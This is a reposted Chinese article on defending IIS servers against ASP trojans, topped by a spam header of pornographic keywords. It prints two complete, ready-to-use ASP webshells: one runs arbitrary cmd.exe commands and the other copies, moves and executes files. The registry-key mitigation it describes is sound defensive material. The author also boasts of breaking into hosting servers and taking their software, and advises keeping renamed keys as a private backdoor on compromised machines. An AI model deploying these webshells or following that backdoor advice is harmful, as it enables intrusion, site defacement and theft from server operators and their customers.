日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

防范ASP木马

發(fā)布時間:2023/12/8 编程问答 57 豆豆
生活随笔 收集整理的這篇文章主要介紹了 防范ASP木马 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
防范ASP木馬

? 隨著ASP技術的發(fā)展,網絡上基于ASP技術開發(fā)的網站越來越多,對ASP技術的支持可以說已經是windows系統IIS服務器的一項基本功能。但是基于ASP技術的木馬后門,也越來越多,而且功能也越來越強大。由于ASP它本身是服務器提供的一貢服務功能,所以這種ASP腳本的木馬后門,不會被殺毒軟件查殺。被黑客們稱為“永遠不會被查殺的后門”。由于其高度的隱蔽性和難查殺性,對網站的安全造成了嚴重的威脅。因此針對ASP木馬的防范和清除,為我們的網管人員提出了更高的技術要求。

? 下面我結合個人的經驗,談一下對兩款比較典型的ASP木馬的防范方法,希望對大家能夠有所幫助。

? 以下是第一款木馬的代碼:

? <title>ASPShell</title>

? <%@Language=VBScript%>

? <%

? DimoScript

? DimoScriptNet

? DimoFileSys,oFile

? DimszCMD,szTempFile

? OnErrorResumeNext

? '--createtheCOMobjectsthatwewillbeusing--'

? SetoScript=Server.CreateObject("WSCRIPT.SHELL")

? SetoScriptNet=Server.CreateObject("WSCRIPT.NETWORK")

? SetoFileSys=Server.CreateObject("Scripting.FileSystemObject")

? '--checkforacommandthatwehaveposted--'

? szCMD=Request.Form(".CMD")

? If(szCMD<>"")Then

? '--Useapoorman'spipe...atempfile--'

? szTempFile="C:/"&oFileSys.GetTempName()

? CalloScript.Run("cmd.exe/c"&szCMD&">"&szTempFile,0,True)

? SetoFile=oFileSys.OpenTextFile(szTempFile,1,False,0)

? EndIf

? %>

? <HTML>

? <BODY>

? <FORMaction="<%=Request.ServerVariables("URL")%>"method="POST">

? <inputtype=textname=".CMD"size=45value="<%=szCMD%>">

? <inputtype=submitvalue="執(zhí)行命令">

? </FORM>

? <PRE>

? <%

? If(IsObject(oFile))Then

? '--Readtheoutputfromourcommandandremovethetempfile--'

? OnErrorResumeNext

? Response.WriteServer.HTMLEncode(oFile.ReadAll)

? oFile.Close

? CalloFileSys.DeleteFile(szTempFile,True)

? EndIf

? %>

? </BODY>

? </HTML>

? 運行后如下圖:

? 在命令行里輸入DIR命令點執(zhí)行就可以查看目錄了!!它可以使用各種DOS命令,如:copy、net、netstat等。

? 但是它的默認執(zhí)行權限只有GUEST,也就是IUSR_COMPUTER用戶的執(zhí)行權限。當然如果你把IUSR_COMPUTER用戶加入管理員組,那么你就有管理員權限了。

? 這一款木馬的特點是,使用很方便。幾乎就想當于DOS命令行窗口操作一樣。但是如果服務器限制了FSO(無組件上傳),那么它是沒有辦法使用了。還有就是在服務器以后增加的虛擬主機里也沒有辦法使用。只能在“默認Web站點”里使用,所以它相對的適用范圍較窄。

? 對于防范方法讓我們看一下它的代碼就知道了:

? SetoScript=Server.CreateObject("WSCRIPT.SHELL")"建立了一個名為oScript的WSCRIPT.SHELL對象,用于命令的執(zhí)行"

? SetoScriptNet=Server.CreateObject("WSCRIPT.NETWORK")

? SetoFileSys=Server.CreateObject("Scripting.FileSystemObject")

? 上面三行代碼創(chuàng)建了WSCRIPT.SHELL、WSCRIPT.NETWORK、Scripting.FileSystemObject三個對象,我們只要在注冊表中把控制WSCRIPT.SHELL對象的項改名或刪除就可以了。如下圖:

? 值得注意的是:我們應該把“WSCRIPT.SHELL”項和“WSCRIPT.SHELL.1”這兩項都要改名或刪除。因為如我們只修改“WSCRIPT.SHELL”項的話。那么黑客們只要把代碼修改如下:SetoScript=Server.CreateObject("WSCRIPT.SHELL.1")這個后門木馬就又可以執(zhí)行了。

? 大家可能已經想到了,我們在對“WSCRIPT.SHELL”項和“WSCRIPT.SHELL.1”改名時,一定要不容易被黑客們猜到,因為例如:你把“WSCRIPT.SHELL”改成了“WSCRIPT.SHELL888”。黑客們只要把代碼相應的改成:SetoScript=Server.CreateObject("WSCRIPT.SHELL888"),木馬程序就又可以執(zhí)行了。還有就修改了注冊表以后要重起WEB服務,設置才會有效。

? 接下來讓我們再來看下一款ASP后門木馬程序的代碼:

? <%response.write"<fontsize=6color=red>一次只能執(zhí)行一個操作</font>"%>

? <%response.writenow()%><BR>程序所在的物理路徑:

? <%response.writerequest.servervariables("APPL_PHYSICAL_PATH")%>

? <html>

? <title>asp'sshell.applicationbackdoor</title>

? <body>

? <formaction="<%=Request.ServerVariables("URL")%>"method="POST">

? <inputtype=textname=textvalue="<%=szCMD%>">輸入要瀏覽的目錄

? <inputtype=textname=text1value="<%=szCMD1%>">

? copy

? <inputtype=textname=text2value="<%=szCMD2%>">

? <inputtype=textname=text3value="<%=szCMD3%>">

? move

? <inputtype=textname=text4value="<%=szCMD4%>">

? 路徑:<inputtype=textname=text5value="<%=szCMD5%>">

? 程序:<inputtype=textname=text6value="<%=szCMD6%>">

? <inputtype=submitname=sbvalue=發(fā)送命令>

? </form>

? </body>

? </html>

? <%

? szCMD=Request.Form("text")'目錄瀏覽

? if(szCMD<>"")then

? setshell=server.createobject("shell.application")'建立shell對象

? setfod1=shell.namespace(szcmd)

? setfoditems=fod1.items

? foreachcoinfoditems

? response.write"<fontcolor=red>"&co.path&"-----"&co.size&"</font>

? "

? next

? endif

? %>

? <%

? szCMD1=Request.Form("text1")'目錄拷貝,不能進行文件拷貝

? szCMD2=Request.Form("text2")

? ifszcmd1<>""andszcmd2<>""then

? setshell1=server.createobject("shell.application")'建立shell對象

? setfod1=shell1.namespace(szcmd2)

? fori=len(szcmd1)to1step-1

? ifmid(szcmd1,i,1)="/"then

? path=left(szcmd1,i-1)

? exitfor

? endif

? next

? iflen(path)=2thenpath=path&"/"

? path2=right(szcmd1,len(szcmd1)-i)

? setfod2=shell1.namespace(path)

? setfoditem=fod2.parsename(path2)

? fod1.copyherefoditem

? response.write"commandcompletedsuccess!"

? endif

? %>

? <%

? szCMD3=Request.Form("text3")'目錄移動

? szCMD4=Request.Form("text4")

? ifszcmd3<>""andszcmd4<>""then

? setshell2=server.createobject("shell.application")'建立shell對象

? setfod1=shell2.namespace(szcmd4)

? fori=len(szcmd3)to1step-1

? ifmid(szcmd3,i,1)="/"then

? path=left(szcmd3,i-1)

? exitfor

? endif

? next

? iflen(path)=2thenpath=path&"/"

? path2=right(szcmd3,len(szcmd3)-i)

? setfod2=shell2.namespace(path)

? setfoditem=fod2.parsename(path2)

? fod1.moveherefoditem

? response.write"commandcompletedsuccess!"

? endif

? %>

? <%

? szCMD5=Request.Form("text5")'執(zhí)行程序要指定路徑

? szCMD6=Request.Form("text6")

? ifszcmd5<>""andszcmd6<>""then

? setshell3=server.createobject("shell.application")'建立shell對象

? shell3.namespace(szcmd5).items.item(szcmd6).invokeverb

? response.write"commandcompletedsuccess!"

? endif

? %>

? 執(zhí)行后如下圖:

? 要查看目錄,只要輸入相應的目錄,點發(fā)送命令就可以了。如下圖:

? 這個木馬程可以完成文件的COPY、MOVE,和執(zhí)行程序。但很多命令都不能用,例如:del、net、netstat等。這個木馬程的功能隨然簡單,但是用它來黑一個網站是足夠了。比如,我們可以把網站的首頁MOVE到其它地方,然后我們再COPY一個同名的黑客網頁進去,就行了。

? 最要命的是這個木馬適用于任何虛擬主機之中,也就是說我只要是服務器中的一個虛擬空間的用戶,我就可以傳這個木馬上去,并用它來修改其它任何用戶的主頁。所以如果哪些提供虛擬空間的服務商沒有打補丁的話,那真是死定了。

? 然而在我的實踐中發(fā)現,中國很多的虛擬空間服務商,特別是一些小型的服務商都沒有打補丁。我利用這一漏洞拿到了很多虛擬空間服務器的ADMIN,然后好心的幫他們補上漏洞。當然我也得到了我想得到的東西——很多好的軟件和代碼。我現在用著的很多ASP程序就是從他們那上面偷下來,太難聽了,應該說DOWN下來的才對。

? 言歸正傳,我們應該怎樣來防范這個ASP后門木馬程序呢?讓我們看一下它其中的這一句代碼:setshell=server.createobject("shell.application"),跟剛才的方法一樣,如下圖:

? 我們只要把"shell.application"項和"shell.application.1"項改名或刪除就可以了。記住了,如果是改名,要改得復雜一點,不要讓黑客們一下就猜到了。順便說一句,如果是你給肉雞打補丁最好是改名,并把名字記下來,這樣也就成為自己一個隱密的后門了。

? 最后對這兩款ASP木馬后門,以及如何防范ASP木馬后門做一下總結:第一款木馬功能上強大一些,但適用范圍窄,需要FSO支持也就是"Scripting.FileSystemObject"項的支持。第二款木馬雖然功能上少一些,但它創(chuàng)建的是"shell.application"對象。在任何虛擬主機中都適用。(這一點危害確實太大了,提供支持ASP空間的管理員們,你們可得注意了!)

? 其實跟據對上面兩款ASP木馬后門的防范,大家可能已經想到了,對于ASP后門木馬的防范,我們只要在注冊表中把"shell.application"、"WSCRIPT.SHELL"等危險的腳本對象(因為它們都是用于創(chuàng)建腳本命令通道的)進行改名或刪除,也就是限制系統對“腳本SHELL”的創(chuàng)建,ASP木馬也就成為無本之木、無米之炊,運行不起來了。

? 注:以上代碼復制保存為ASP文件就可以直接使用了。(僅用于測試,不要搞破壞,后果自負!)

總結

以上是生活随笔為你收集整理的防范ASP木马的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。